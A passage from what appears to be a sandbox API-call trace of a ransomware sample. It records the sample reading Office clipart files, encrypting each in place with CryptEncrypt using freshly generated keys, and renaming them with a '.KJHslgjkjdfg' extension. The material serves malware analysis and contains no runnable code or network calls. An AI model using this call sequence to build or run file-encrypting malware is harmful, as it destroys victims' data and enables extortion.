lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.748] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.748] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.748] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.748] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe64, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe64, lpOverlapped=0x0) returned 1 [0216.748] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70, dwBufLen=0xe70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70) returned 1 [0216.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.748] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe70, lpOverlapped=0x0) returned 1 [0216.748] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.749] SetEndOfFile (hFile=0x130) returned 1 [0216.751] GetProcessHeap () returned 0x2ef0000 [0216.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.751] GetProcessHeap () returned 0x2ef0000 [0216.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.kjhslgjkjdfg")) returned 1 [0216.753] CloseHandle (hObject=0x130) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0216.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.755] GetProcessHeap () returned 0x2ef0000 [0216.755] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.755] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.757] GetProcessHeap () returned 0x2ef0000 [0216.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.757] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.757] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.758] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.758] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.758] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e98, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e98, lpOverlapped=0x0) returned 1 [0216.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ea0) returned 1 [0216.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.759] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ea0, lpOverlapped=0x0) returned 1 [0216.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.760] SetEndOfFile (hFile=0x130) returned 1 [0216.762] GetProcessHeap () returned 0x2ef0000 [0216.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.763] GetProcessHeap () returned 0x2ef0000 [0216.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.kjhslgjkjdfg")) returned 1 [0216.764] CloseHandle (hObject=0x130) returned 1 [0216.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0216.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.766] GetProcessHeap () returned 0x2ef0000 [0216.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.769] GetProcessHeap () returned 0x2ef0000 [0216.769] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.769] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.770] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.770] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd24, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd24, lpOverlapped=0x0) returned 1 [0216.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd30, dwBufLen=0xd30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd30) returned 1 [0216.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd30, lpOverlapped=0x0) returned 1 [0216.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.770] SetEndOfFile (hFile=0x130) returned 1 [0216.773] GetProcessHeap () returned 0x2ef0000 [0216.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.773] GetProcessHeap () returned 0x2ef0000 [0216.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.kjhslgjkjdfg")) returned 1 [0216.775] CloseHandle (hObject=0x130) returned 1 [0216.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0216.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.777] GetProcessHeap () returned 0x2ef0000 [0216.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.777] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.777] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.777] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.777] GetProcessHeap () returned 0x2ef0000 [0216.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.777] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.777] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.777] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.780] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2120, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2120, lpOverlapped=0x0) returned 1 [0216.781] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2120, dwBufLen=0x2120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2120) returned 1 [0216.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.781] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2120, lpOverlapped=0x0) returned 1 [0216.782] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.782] SetEndOfFile (hFile=0x130) returned 1 [0216.785] GetProcessHeap () returned 0x2ef0000 [0216.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.785] GetProcessHeap () returned 0x2ef0000 [0216.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.kjhslgjkjdfg")) returned 1 [0216.787] CloseHandle (hObject=0x130) returned 1 [0216.787] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0216.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.788] GetProcessHeap () returned 0x2ef0000 [0216.788] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.788] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.788] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.789] GetProcessHeap () returned 0x2ef0000 [0216.789] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.789] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.791] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.791] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.791] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.791] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.791] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 